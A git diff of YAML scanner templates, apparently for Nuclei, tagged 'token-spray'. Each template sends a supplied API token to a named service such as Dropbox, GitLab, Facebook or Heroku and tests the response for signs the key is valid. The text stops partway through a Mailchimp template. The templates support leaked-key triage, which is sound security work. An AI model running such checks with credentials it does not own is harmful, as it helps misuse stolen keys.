author: daffainfo + severity: info + description: Search for company logos and embed them in your projects + reference: + - https://clearbit.com/docs + - https://github.com/daffainfo/all-about-apikey/tree/main/clearbit + metadata: + max-request: 1 + tags: token-spray,clearbit + +self-contained: true + +http: + - raw: + - | + GET https://person.clearbit.com/v2/combined/find?email=alex@clearbit.com HTTP/1.1 + Authorization: Basic {{base64(token + ':')}} + Host: person.clearbit.com + + matchers: + - type: word + part: body + words: + - '"person":' + - '"id":' + - '"name":' + condition: and + +# digest: 490a004630440220010e94009002269a73e09fb4768b915134e95de8009d9585a35dcc2677ca6624022045b2e14c7e9c9658f0d1ac7693bafb54bb02fd577e8a2b76bc0dd566879fa491:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-clearbit.yaml b/poc/api/api-clearbit.yaml deleted file mode 100644 index fc8cf9c9ea..0000000000 --- a/poc/api/api-clearbit.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: api-clearbit - -info: - name: Clearbit API Test - author: daffainfo - severity: info - description: Search for company logos and embed them in your projects - reference: - - https://clearbit.com/docs - - https://github.com/daffainfo/all-about-apikey/tree/main/clearbit - tags: token-spray,clearbit - -self-contained: true -requests: - - raw: - - | - GET https://person.clearbit.com/v2/combined/find?email=alex@clearbit.com HTTP/1.1 - Authorization: Basic {{base64(token + ':')}} - Host: person.clearbit.com - - matchers: - - type: word - part: body - words: - - '"person":' - - '"id":' - - '"name":' - condition: and diff --git a/poc/api/api-coinapi-408.yaml b/poc/api/api-coinapi-408.yaml deleted file mode 100644 index f4285dd83b..0000000000 --- a/poc/api/api-coinapi-408.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: api-coinapi - -info: - name: CoinAPI API Test - author: daffainfo - severity: info - description: All Currency Exchanges integrate under a single api - reference: - - https://docs.coinapi.io/ - - https://github.com/daffainfo/all-about-apikey/tree/main/coinapi - metadata: - max-request: 1 - tags: token-spray,coinapi - -self-contained: true - -http: - - raw: - - | - GET https://rest.coinapi.io/v1/exchanges HTTP/1.1 - Host: rest.coinapi.io - X-CoinAPI-Key: {{token}} - - matchers: - - type: word - part: body - words: - - '"exchange_id":' - - '"website":' - - '"name":' - condition: and - -# digest: 4b0a00483046022100a574100efec77cf185d51fc83943f788217c9e1ad8e7a40c0180da3559fb1bb9022100fc3450c1ba3a0494de47b64ec3f0d6da00d95a293b5d7a8f1f804c6668a9d31a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-coinapi.yaml b/poc/api/api-coinapi.yaml new file mode 100644 index 0000000000..e4a2e44374 --- /dev/null +++ b/poc/api/api-coinapi.yaml @@ -0,0 +1,28 @@ +id: api-coinapi + +info: + name: CoinAPI API Test + author: daffainfo + severity: info + description: All Currency Exchanges integrate under a single api + reference: + - https://docs.coinapi.io/ + - https://github.com/daffainfo/all-about-apikey/tree/main/coinapi + tags: token-spray,coinapi + +self-contained: true +requests: + - raw: + - | + GET https://rest.coinapi.io/v1/exchanges HTTP/1.1 + Host: rest.coinapi.io + X-CoinAPI-Key: {{token}} + + matchers: + - type: word + part: body + words: + - '"exchange_id":' + - '"website":' + - '"name":' + condition: and diff --git a/poc/api/api-cooperhewitt-410.yaml b/poc/api/api-cooperhewitt-410.yaml deleted file mode 100644 index 6835214dfc..0000000000 --- a/poc/api/api-cooperhewitt-410.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: api-cooperhewitt - -info: - name: Cooper Hewitt API - author: daffainfo - severity: info - reference: - - https://collection.cooperhewitt.org/api/methods/ - - https://github.com/daffainfo/all-about-apikey/blob/main/Art%20Design/Cooper%20Hewitt.md - tags: token-spray,cooperhewitt - -self-contained: true -requests: - - method: GET - path: - - "https://api.collection.cooperhewitt.org/rest/?method=api.spec.formats&access_token={{token}}" - - matchers: - - type: word - part: body - words: - - '"stat":' - - '"formats":' - - '"default_format":' - condition: and diff --git a/poc/api/api-cooperhewitt-411.yaml b/poc/api/api-cooperhewitt-411.yaml index d87a58b327..c54d64e093 100644 --- a/poc/api/api-cooperhewitt-411.yaml +++ b/poc/api/api-cooperhewitt-411.yaml @@ -4,28 +4,18 @@ info: name: Cooper Hewitt API author: daffainfo severity: info - description: Smithsonian Design Museum reference: - https://collection.cooperhewitt.org/api/methods/ - - https://github.com/daffainfo/all-about-apikey/tree/main/cooper-hewitt - metadata: - max-request: 1 + - https://github.com/daffainfo/all-about-apikey/blob/main/Art-Design/Cooper%20Hewitt.md tags: token-spray,cooperhewitt self-contained: true - -http: +requests: - method: GET path: - "https://api.collection.cooperhewitt.org/rest/?method=api.spec.formats&access_token={{token}}" matchers: - - type: word - part: body - words: - - '"stat":' - - '"formats":' - - '"default_format":' - condition: and - -# digest: 4a0a00473045022100a87556e1aa966f9ea65e586971ad651a52304f66fa81672e1e9c71ff0e7ab6760220070d5d0cb80302cd2752145928b61272ad9443169f9ec996fd8124627c3bc140:922c64590222798bb761d5b6d8e72950 + - type: status + status: + - 200 diff --git a/poc/api/api-covalent-412.yaml b/poc/api/api-covalent-412.yaml deleted file mode 100644 index 0164e47342..0000000000 --- a/poc/api/api-covalent-412.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: api-covalent - -info: - name: Covalent API Test - author: daffainfo - severity: info - description: https://github.com/daffainfo/all-about-apikey/tree/main/covalent - reference: - - https://www.covalenthq.com/docs/api/ - - https://github.com/daffainfo/all-about-apikey/tree/main/covalent - metadata: - max-request: 1 - tags: token-spray,covalent - -self-contained: true - -http: - - method: GET - path: - - "https://api.covalenthq.com/v1/3/address/balances_v2/?&key={{token}}" - - matchers: - - type: word - part: body - words: - - '"address":' - - '"updated_at":' - - '"next_update_at":' - condition: and - -# digest: 4a0a00473045022070275851f3193991afa65cf05940ad6fec232b3f2f0222da1b562741e97407c1022100fac147b8069000c48d1e48953d55ba052d76d10690be100c8b177581dc641d98:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-covalent.yaml b/poc/api/api-covalent.yaml new file mode 100644 index 0000000000..9fb44a3d2e --- /dev/null +++ b/poc/api/api-covalent.yaml @@ -0,0 +1,26 @@ +id: api-covalent + +info: + name: Covalent API Test + author: daffainfo + severity: info + description: https://github.com/daffainfo/all-about-apikey/tree/main/covalent + reference: + - https://www.covalenthq.com/docs/api/ + - https://github.com/daffainfo/all-about-apikey/tree/main/covalent + tags: token-spray,covalent + +self-contained: true +requests: + - method: GET + path: + - "https://api.covalenthq.com/v1/3/address/balances_v2/?&key={{token}}" + + matchers: + - type: word + part: body + words: + - '"address":' + - '"updated_at":' + - '"next_update_at":' + condition: and diff --git a/poc/api/api-deviantart-415.yaml b/poc/api/api-deviantart-415.yaml deleted file mode 100644 index 999f0421e1..0000000000 --- a/poc/api/api-deviantart-415.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-deviantart - -info: - name: DeviantArt API Test - author: zzeitlin - severity: info - reference: - - https://www.deviantart.com/developers/authentication - metadata: - max-request: 1 - tags: token-spray,deviantart - -self-contained: true - -http: - - method: POST - path: - - "https://www.deviantart.com/api/v1/oauth2/placebo" - - body: "access_token={{token}}" - matchers: - - type: word - part: body - words: - - '"status" : "success"' - -# digest: 4b0a00483046022100800735e2524013964159af06cb5f0c2ba32282bb38f18d961f592b109b7763de022100e53dfb233bb0bb614a8553e084ca457cb3b701367c471fc0fadce3ee2a66eba8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-deviantart.yaml b/poc/api/api-deviantart.yaml new file mode 100644 index 0000000000..b09e9acd2b --- /dev/null +++ b/poc/api/api-deviantart.yaml @@ -0,0 +1,21 @@ +id: api-deviantart + +info: + name: DeviantArt API Test + author: zzeitlin + severity: info + reference: https://www.deviantart.com/developers/authentication + tags: token-spray,deviantart + +self-contained: true +requests: + - method: POST + path: + - "https://www.deviantart.com/api/v1/oauth2/placebo" + body: "access_token={{token}}" + + matchers: + - type: word + part: body + words: + - '"status" : "success"' diff --git a/poc/api/api-dribbble-417.yaml b/poc/api/api-dribbble-416.yaml similarity index 100% rename from poc/api/api-dribbble-417.yaml rename to poc/api/api-dribbble-416.yaml diff --git a/poc/api/api-dribbble.yaml b/poc/api/api-dribbble.yaml new file mode 100644 index 0000000000..b2f1d0bc9e --- /dev/null +++ b/poc/api/api-dribbble.yaml @@ -0,0 +1,21 @@ +id: api-dribbble + +info: + name: Dribbble API Test + author: daffainfo + severity: info + reference: + - https://developer.dribbble.com/v2/ + - https://github.com/daffainfo/all-about-apikey/blob/main/Art%20Design/Dribbble.md + tags: token-spray,dribbble + +self-contained: true +requests: + - method: GET + path: + - "https://api.dribbble.com/v2/user?access_token={{token}}" + + matchers: + - type: status + status: + - 200 diff --git a/poc/api/api-dropbox-418.yaml b/poc/api/api-dropbox-418.yaml new file mode 100644 index 0000000000..cc14c60421 --- /dev/null +++ b/poc/api/api-dropbox-418.yaml @@ -0,0 +1,24 @@ +id: api-dropbox + +info: + name: Dropbox API Test + author: zzeitlin + reference: https://www.dropbox.com/developers/documentation/http/documentation + severity: info + tags: token-spray,dropbox + +self-contained: true +requests: + - method: POST + path: + - "https://api.dropboxapi.com/2/users/get_current_account" + headers: + Authorization: Bearer {{token}} + + matchers: + - type: word + part: body + words: + - '"account_id":' + - '"email":' + condition: and diff --git a/poc/api/api-dropbox.yaml b/poc/api/api-dropbox.yaml index cc14c60421..29679e2b2f 100644 --- a/poc/api/api-dropbox.yaml +++ b/poc/api/api-dropbox.yaml @@ -7,7 +7,6 @@ info: severity: info tags: token-spray,dropbox -self-contained: true requests: - method: POST path: @@ -16,9 +15,6 @@ requests: Authorization: Bearer {{token}} matchers: - - type: word - part: body - words: - - '"account_id":' - - '"email":' - condition: and + - type: status + status: + - 200 diff --git a/poc/api/api-europeana-421.yaml b/poc/api/api-europeana-421.yaml index 520c83775d..bbc103ac30 100644 --- a/poc/api/api-europeana-421.yaml +++ b/poc/api/api-europeana-421.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://pro.europeana.eu/page/search - - https://github.com/daffainfo/all-about-apikey/blob/main/Art-Design/Europeana.md + - https://github.com/daffainfo/all-about-apikey/blob/main/Art%20Design/Europeana.md tags: token-spray,europeana self-contained: true @@ -16,6 +16,10 @@ requests: - "https://api.europeana.eu/record/v2/search.json?wskey={{token}}&query=*&rows=0&profile=facets" matchers: - - type: status - status: - - 200 + - type: word + part: body + words: + - 'success' + - 'apikey' + - 'action' + condition: and \ No newline at end of file diff --git a/poc/api/api-europeana.yaml b/poc/api/api-europeana.yaml new file mode 100644 index 0000000000..520c83775d --- /dev/null +++ b/poc/api/api-europeana.yaml @@ -0,0 +1,21 @@ +id: api-europeana + +info: + name: Europeana API Test + author: daffainfo + severity: info + reference: + - https://pro.europeana.eu/page/search + - https://github.com/daffainfo/all-about-apikey/blob/main/Art-Design/Europeana.md + tags: token-spray,europeana + +self-contained: true +requests: + - method: GET + path: + - "https://api.europeana.eu/record/v2/search.json?wskey={{token}}&query=*&rows=0&profile=facets" + + matchers: + - type: status + status: + - 200 diff --git a/poc/api/api-facebook-422.yaml b/poc/api/api-facebook-422.yaml new file mode 100644 index 0000000000..316e8c9af5 --- /dev/null +++ b/poc/api/api-facebook-422.yaml @@ -0,0 +1,31 @@ +id: api-facebook + +info: + name: Facebook API Test + author: dwisiswant0 + severity: info + reference: + - https://developers.facebook.com/tools/explorer/ + metadata: + max-request: 1 + tags: token-spray,facebook + +self-contained: true + +http: + - method: GET + path: + - "https://graph.facebook.com/me?access_token={{token}}" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'application/json' + + - type: status + status: + - 200 + +# digest: 4a0a004730450220447ee052f3069ede836ecb4396922d5ef16cf212d7cc26337b6cbcfc85f3f611022100a5c1b7aec63ed29c4b2d146566295d82b3580cb38af3972cd10ffedf9f2456b9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-facebook.yaml b/poc/api/api-facebook.yaml deleted file mode 100644 index 8143cbc92c..0000000000 --- a/poc/api/api-facebook.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: api-facebook - -info: - name: Facebook API Test - author: dwisiswant0 - reference: https://developers.facebook.com/tools/explorer/ - severity: info - tags: token-spray,facebook - -self-contained: true -requests: - - method: GET - path: - - "https://graph.facebook.com/me?access_token={{token}}" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'application/json' - - - type: status - status: - - 200 diff --git a/poc/api/api-fastly-423.yaml b/poc/api/api-fastly-423.yaml new file mode 100644 index 0000000000..c2b847e94a --- /dev/null +++ b/poc/api/api-fastly-423.yaml @@ -0,0 +1,30 @@ +id: api-fastly + +info: + name: Fastly API Test + author: Adam Crosser + severity: info + reference: + - https://developer.fastly.com/reference/api/ + metadata: + max-request: 1 + tags: token-spray,fastly + +self-contained: true + +http: + - method: GET + path: + - "https://api.fastly.com/current_user" + + headers: + Fastly-Key: "{{token}}" + matchers: + - type: word + part: body + words: + - '"created_at":' + - '"customer_id":' + condition: and + +# digest: 4b0a00483046022100d95d9c222388a6f2d756d5c8be1bd3552e8b22346abf9902ff20150e2f0e05fe02210099e7b5363c45f6b64f0ca5ed49a7b3816320f9d978d72c1003bd20637befe8f1:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-fastly-424.yaml b/poc/api/api-fastly-424.yaml index c2b847e94a..9688149ef5 100644 --- a/poc/api/api-fastly-424.yaml +++ b/poc/api/api-fastly-424.yaml @@ -6,19 +6,16 @@ info: severity: info reference: - https://developer.fastly.com/reference/api/ - metadata: - max-request: 1 tags: token-spray,fastly self-contained: true - -http: +requests: - method: GET path: - "https://api.fastly.com/current_user" - headers: Fastly-Key: "{{token}}" + matchers: - type: word part: body @@ -26,5 +23,3 @@ http: - '"created_at":' - '"customer_id":' condition: and - -# digest: 4b0a00483046022100d95d9c222388a6f2d756d5c8be1bd3552e8b22346abf9902ff20150e2f0e05fe02210099e7b5363c45f6b64f0ca5ed49a7b3816320f9d978d72c1003bd20637befe8f1:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-gitlab-430.yaml b/poc/api/api-gitlab-430.yaml deleted file mode 100644 index 96a5bde8a9..0000000000 --- a/poc/api/api-gitlab-430.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: api-gitlab - -info: - name: Gitlab API Test - author: Adam Crosser - severity: info - reference: - - https://docs.gitlab.com/ee/api/personal_access_tokens.html - metadata: - max-request: 1 - tags: token-spray,gitlab - -self-contained: true - -http: - - method: GET - path: - - "https://gitlab.com/api/v4/personal_access_tokens" - - headers: - PRIVATE-TOKEN: "{{token}}" - matchers: - - type: word - part: body - words: - - '"id":' - - '"created_at":' - condition: and - -# digest: 4a0a00473045022018e1d08da7b95bd30fe3380bf4314f6ea6c51c6885fe6e8c30838de488d446b8022100d1806cb0d3f05c93ba34ce2ff0796ad4bd0c2d4ea6a40962b628d43ac829abea:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-gitlab-431.yaml b/poc/api/api-gitlab-431.yaml deleted file mode 100644 index 8372a3c8a0..0000000000 --- a/poc/api/api-gitlab-431.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: api-gitlab - -info: - name: Gitlab API Test - author: Adam Crosser - severity: info - reference: - - https://docs.gitlab.com/ee/api/personal_access_tokens.html - tags: token-spray,gitlab - -self-contained: true -requests: - - method: GET - path: - - "https://gitlab.com/api/v4/personal_access_tokens" - headers: - PRIVATE-TOKEN: "{{token}}" - - matchers: - - type: word - part: body - words: - - '"id":' - - '"created_at":' - condition: and diff --git a/poc/api/api-harvardart-433.yaml b/poc/api/api-harvardart-433.yaml index 7b2f15b76f..e9f965433e 100644 --- a/poc/api/api-harvardart-433.yaml +++ b/poc/api/api-harvardart-433.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://github.com/harvardartmuseums/api-docs - - https://github.com/daffainfo/all-about-apikey/blob/main/Art-Design/Harvard%20Art%20Museums.md + - https://github.com/daffainfo/all-about-apikey/blob/main/Art%20Design/Harvard%20Art%20Museums.md tags: token-spray,harvardart self-contained: true diff --git a/poc/api/api-heroku-435.yaml b/poc/api/api-heroku-435.yaml deleted file mode 100644 index ef9b58c7ae..0000000000 --- a/poc/api/api-heroku-435.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: api-heroku - -info: - name: Heroku API Test - author: zzeitlin - reference: https://devcenter.heroku.com/articles/platform-api-quickstart#calling-the-api - severity: info - tags: token-spray,heroku - -self-contained: true -requests: - - method: POST - path: - - "https://api.heroku.com/apps" - headers: - Accept: application/vnd.heroku+json; version=3 - Authorization: Bearer {{token}} - - matchers: - - type: word - part: body - words: - - '"created_at":' - - '"git_url":' - condition: and \ No newline at end of file diff --git a/poc/api/api-heroku.yaml b/poc/api/api-heroku.yaml index 9f08e416d5..ef9b58c7ae 100644 --- a/poc/api/api-heroku.yaml +++ b/poc/api/api-heroku.yaml @@ -7,6 +7,7 @@ info: severity: info tags: token-spray,heroku +self-contained: true requests: - method: POST path: @@ -16,10 +17,9 @@ requests: Authorization: Bearer {{token}} matchers: - - type: status - status: - - 200 - - 201 - - 202 - - 206 - condition: or + - type: word + part: body + words: + - '"created_at":' + - '"git_url":' + condition: and \ No newline at end of file diff --git a/poc/api/api-hirak-rates-436.yaml b/poc/api/api-hirak-rates-436.yaml new file mode 100644 index 0000000000..0557cf59fe --- /dev/null +++ b/poc/api/api-hirak-rates-436.yaml @@ -0,0 +1,32 @@ +id: api-hirak-rates + +info: + name: Hirak Exchange Rates API Test + author: daffainfo + severity: info + description: Exchange rates between 162 currency & 300 crypto currency update each 5 min, accurate, no limits + reference: + - https://rates.hirak.site/ + - https://github.com/daffainfo/all-about-apikey/tree/main/hirak-exchange-rates + metadata: + max-request: 1 + tags: token-spray,hirak + +self-contained: true + +http: + - method: GET + path: + - "https://rates.hirak.site/stat/?token={{token}}" + + matchers: + - type: word + part: body + words: + - '"token":' + - '"plan":' + - '"hits":' + - '"remain":' + condition: and + +# digest: 4b0a00483046022100feb1b70cc116a0e5e28e60351b93907f2994f9f53d4f5ce7337bd1e5581d1f95022100932bf3b672f01049a27014ca2bac8996fb16ac2f4ab829bdf96a780ecd3620ec:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-hirak-rates.yaml b/poc/api/api-hirak-rates.yaml deleted file mode 100644 index 6d61403334..0000000000 --- a/poc/api/api-hirak-rates.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: api-hirak-rates - -info: - name: Hirak Exchange Rates API Test - author: daffainfo - severity: info - description: Exchange rates between 162 currency & 300 crypto currency update each 5 min, accurate, no limits - reference: - - https://rates.hirak.site/ - - https://github.com/daffainfo/all-about-apikey/tree/main/hirak-exchange-rates - tags: token-spray,hirak - -self-contained: true -requests: - - method: GET - path: - - "https://rates.hirak.site/stat/?token={{token}}" - - matchers: - - type: word - part: body - words: - - '"token":' - - '"plan":' - - '"hits":' - - '"remain":' - condition: and diff --git a/poc/api/api-hubspot-437.yaml b/poc/api/api-hubspot-437.yaml index 4526b146f6..c646cf8861 100644 --- a/poc/api/api-hubspot-437.yaml +++ b/poc/api/api-hubspot-437.yaml @@ -4,11 +4,15 @@ info: name: HubSpot API Test author: zzeitlin severity: info - reference: https://legacydocs.hubspot.com/docs/methods/owners/get_owners + reference: + - https://legacydocs.hubspot.com/docs/methods/owners/get_owners + metadata: + max-request: 2 tags: token-spray,hubspot self-contained: true -requests: + +http: - method: GET path: - "https://api.hubapi.com/owners/v2/owners?hapikey={{token}}" @@ -28,4 +32,6 @@ requests: words: - '"metaData":' - '"portalId":' - condition: and \ No newline at end of file + condition: and + +# digest: 490a0046304402202d9d252f0d8b0085a26265fbc5fa552f807d095394b41127971494d3382c2b6b022061acc2a5a6142ef4ee85fc60d8c3b097a1a6f9ed82bbbaf31b2da23da50b313f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-iconfinder-439.yaml b/poc/api/api-iconfinder-439.yaml deleted file mode 100644 index 1d396884b1..0000000000 --- a/poc/api/api-iconfinder-439.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: api-iconfinder - -info: - name: IconFinder API Test - author: daffainfo - severity: info - description: Web Icons - reference: - - https://developer.iconfinder.com/reference/overview-1 - - https://github.com/daffainfo/all-about-apikey/tree/main/iconfinder - metadata: - max-request: 1 - tags: token-spray,iconfinder - -self-contained: true - -http: - - raw: - - | - GET https://api.iconfinder.com/v4/icons/search?query=arrow&count=10 HTTP/1.1 - Host: api.iconfinder.com - Accept: application/json - Authorization: Bearer {{token}} - - matchers: - - type: word - part: body - words: - - '"icons":' - - '"is_icon_glyph":' - - '"download_url":' - condition: and - -# digest: 4a0a0047304502203525d06ca37e214ea31d40d32b70a0e233bf879bee960cbb34fb4436a8c78320022100a678e3bcbc2678eaa6fe709c8b1210b528254b68294b4ce07620fbe1c000ed6f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-instatus-442.yaml b/poc/api/api-instatus-442.yaml deleted file mode 100644 index dfd968d1b3..0000000000 --- a/poc/api/api-instatus-442.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: api-instatus - -info: - name: Instatus API Test - author: daffainfo - severity: info - description: Post to and update maintenance and incidents on your status page through an HTTP REST API - reference: - - https://instatus.com/help/api - - https://github.com/daffainfo/all-about-apikey/tree/main/instatus - metadata: - max-request: 1 - tags: token-spray,instatus - -self-contained: true - -http: - - method: GET - path: - - "https://api.instatus.com/v1/pages" - - headers: - Authorization: Bearer {{token}} - matchers: - - type: word - part: body - words: - - '"id":' - - '"subdomain":' - - '"name":' - - '"logoUrl":' - condition: and - -# digest: 4a0a00473045022100850e53c92a054ffcf08500f345965b5674f65e8974a2d82117d4c127f613fcff02207fa1e6c159c8c013d78f0137271ff8bcba2204413bd77bb35fa6a1d25dc7c4d0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-instatus.yaml b/poc/api/api-instatus.yaml new file mode 100644 index 0000000000..1175f1b8b3 --- /dev/null +++ b/poc/api/api-instatus.yaml @@ -0,0 +1,29 @@ +id: api-instatus + +info: + name: Instatus API Test + author: daffainfo + severity: info + description: Post to and update maintenance and incidents on your status page through an HTTP REST API + reference: + - https://instatus.com/help/api + - https://github.com/daffainfo/all-about-apikey/tree/main/instatus + tags: token-spray,instatus + +self-contained: true +requests: + - method: GET + path: + - "https://api.instatus.com/v1/pages" + headers: + Authorization: Bearer {{token}} + + matchers: + - type: word + part: body + words: + - '"id":' + - '"subdomain":' + - '"name":' + - '"logoUrl":' + condition: and diff --git a/poc/api/api-intercom-443.yaml b/poc/api/api-intercom-443.yaml new file mode 100644 index 0000000000..4ae7ce807b --- /dev/null +++ b/poc/api/api-intercom-443.yaml @@ -0,0 +1,30 @@ +id: api-intercom + +info: + name: Intercom API Test + author: dwisiswant0 + severity: info + reference: + - https://developers.intercom.com/building-apps/docs/rest-api-reference + metadata: + max-request: 1 + tags: token-spray,intercom + +self-contained: true + +http: + - method: GET + path: + - "https://api.intercom.io/users" + + headers: + Authorization: Bearer {{token}} + Accept: application/json + matchers: + - type: word + part: body + words: + - "Access Token Invalid" + negative: true + +# digest: 4b0a00483046022100961f1591bb9414b8304809c1253739861d2e47d3555bf7caaf47cb719aec2ad602210082a496a018342802274a471a3bfd500c4e82ac6eefe13a1efc643e102609fcbc:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-intercom.yaml b/poc/api/api-intercom.yaml deleted file mode 100644 index 5c0dc15191..0000000000 --- a/poc/api/api-intercom.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: api-intercom - -info: - name: Intercom API Test - author: dwisiswant0 - reference: https://developers.intercom.com/building-apps/docs/rest-api-reference - severity: info - tags: token-spray,intercom - -self-contained: true -requests: - - method: GET - path: - - "https://api.intercom.io/users" - headers: - Authorization: Bearer {{token}} - Accept: application/json - - matchers: - - type: word - part: body - words: - - "Access Token Invalid" - negative: true diff --git a/poc/api/api-ipstack-444.yaml b/poc/api/api-ipstack-444.yaml index 66547e7b0a..f64daea02e 100644 --- a/poc/api/api-ipstack-444.yaml +++ b/poc/api/api-ipstack-444.yaml @@ -3,16 +3,11 @@ id: api-ipstack info: name: IPStack API Test author: zzeitlin + reference: https://ipstack.com/documentation severity: info - reference: - - https://ipstack.com/documentation - metadata: - max-request: 1 tags: token-spray,ipstack -self-contained: true - -http: +requests: - method: GET path: - "https://api.ipstack.com/8.8.8.8?access_key={{token}}" @@ -20,10 +15,6 @@ http: matchers: - type: word part: body + negative: true words: - - '"ip":' - - '"hostname":' - - '"type":' - condition: and - -# digest: 4a0a00473045022000a47e2040f9315385f4e8ef0e0474452c43663454c9d0584bfaa216a99290cd022100a9a47a900fd2adcf5afb8a76e23f0f0e93728d604c0154818efbc18ed045ce7e:922c64590222798bb761d5b6d8e72950 + - 'invalid_access_key' diff --git a/poc/api/api-iterable.yaml b/poc/api/api-iterable.yaml new file mode 100644 index 0000000000..0c1f84d566 --- /dev/null +++ b/poc/api/api-iterable.yaml @@ -0,0 +1,23 @@ +id: api-iterable + +info: + name: Iterable API Test + author: zzeitlin + reference: https://api.iterable.com/api/docs + severity: info + tags: token-spray,iterable + +requests: + - method: GET + path: + - "https://api.iterable.com/api/export/data.json?dataTypeName=emailSend&range=Today&onlyFields=List.empty" + headers: + Api_Key: "{{token}}" + + matchers: + - type: word + part: body + negative: true + words: + - 'BadApiKey' + - 'RateLimitExceeded' # Matchers needs to be replaced with valid +ve match instead of -ve diff --git a/poc/api/api-jumpcloud.yaml b/poc/api/api-jumpcloud.yaml new file mode 100644 index 0000000000..a885c5c780 --- /dev/null +++ b/poc/api/api-jumpcloud.yaml @@ -0,0 +1,22 @@ +id: api-jumpcloud + +info: + name: JumpCloud API Test + author: zzeitlin + reference: https://docs.jumpcloud.com/1.0/authentication-and-authorization/api-key + severity: info + tags: token-spray,jumpcloud + +requests: + - method: GET + path: + - "https://console.jumpcloud.com/api/systems" + headers: + X-Api-Key: "{{token}}" + + matchers: + - type: word + part: body + negative: true + words: + - 'Unauthorized' diff --git a/poc/api/api-leanix-450.yaml b/poc/api/api-leanix-450.yaml deleted file mode 100644 index 5ff54a7b1b..0000000000 --- a/poc/api/api-leanix-450.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: api-leanix - -info: - name: LeanIX API Test - author: dwisiswant0 - severity: info - reference: - - https://docs.leanix.net/docs/rest-api - metadata: - max-request: 2 - tags: token-spray,leanix - -self-contained: true - -http: - - method: GET - path: - - "https://us.leanix.net/services/integration-api/v1/examples/starterExample" - - "https://eu.leanix.net/services/integration-api/v1/examples/starterExample" - - headers: - Authorization: Bearer {{token}} - stop-at-first-match: true - matchers: - - type: word - part: body - words: - - '"input":' - - '"connectorType":' - condition: and - -# digest: 4a0a00473045022034bb46557674be80dabd1e3c611fc2bfa97944426d95ce77402dd9ba5cb9daef022100879675a2ab38426dc5c60254b72a28c557fdf6d4d83670aa2b47d494d4c8d5ff:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-leanix.yaml b/poc/api/api-leanix.yaml new file mode 100644 index 0000000000..172d00ec30 --- /dev/null +++ b/poc/api/api-leanix.yaml @@ -0,0 +1,26 @@ +id: api-leanix + +info: + name: LeanIX API Test + author: dwisiswant0 + severity: info + reference: https://docs.leanix.net/docs/rest-api + tags: token-spray,leanix + +self-contained: true +requests: + - method: GET + path: + - "https://us.leanix.net/services/integration-api/v1/examples/starterExample" + - "https://eu.leanix.net/services/integration-api/v1/examples/starterExample" + headers: + Authorization: Bearer {{token}} + + stop-at-first-match: true + matchers: + - type: word + part: body + words: + - '"input":' + - '"connectorType":' + condition: and \ No newline at end of file diff --git a/poc/api/api-linkfinder.yaml b/poc/api/api-linkfinder.yaml index 719a8c37dc..38c579ea74 100644 --- a/poc/api/api-linkfinder.yaml +++ b/poc/api/api-linkfinder.yaml @@ -19,4 +19,4 @@ requests: - type: regex name: relative_links regex: - - ([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}(?:[a-zA-Z]{1,4}|action)(?:[\?|#][^"|']{0,}|)) \ No newline at end of file + - ([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}(?:[a-zA-Z]{1,4}|action)(?:[\?|#][^"|']{0,}|)) diff --git a/poc/api/api-lokalise-452.yaml b/poc/api/api-lokalise-452.yaml index 0c937b51fa..dee73aef67 100644 --- a/poc/api/api-lokalise-452.yaml +++ b/poc/api/api-lokalise-452.yaml @@ -3,18 +3,29 @@ id: api-lokalise info: name: Lokalise API Test author: zzeitlin - reference: https://app.lokalise.com/api2docs/curl/#resource-projects severity: info + reference: + - https://app.lokalise.com/api2docs/curl/#resource-projects + metadata: + max-request: 1 tags: token-spray,lokalise -requests: +self-contained: true + +http: - method: GET path: - - "https://api.lokalise.com/api2/projects/" - headers: - X-Api-Token: "{{token}}" + - "https://api.lokalise.com/api2/teams" + headers: + x-api-Token: "{{token}}" matchers: - - type: status - status: - - 200 + - type: word + part: body + words: + - '"teams":' + - '"team_id":' + - '"name":' + condition: and + +# digest: 490a0046304402200468ba3586af8409dee972a0b94557619c54822d342eb7ab7b50665c109be31602200632c349219570aebdd75e41dc4e7e1a1bccb50b2a6fe2d1b4ebdbf5816d7bad:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/api-mailchimp-454.yaml b/poc/api/api-mailchimp-454.yaml index 9d7073e46c..5232ddda97 100644 --- a/poc/api/api-mailchimp-454.yaml +++ b/poc/api/api-mailchimp-454.yaml @@ -3,10 +3,11 @@ id: api-mailchimp info: name: Mailchimp API Test author: zzeitlin - reference: https://mailchimp.com/developer/transactional/docs/smtp-integration/#credentials-and-configuration severity: info + reference: https://mailchimp.com/developer/transactional/docs/smtp-integration/#credentials-and-configuration tags: token-spray,mailchimp +self-contained: true network: - inputs: - data: "AUTH PLAIN 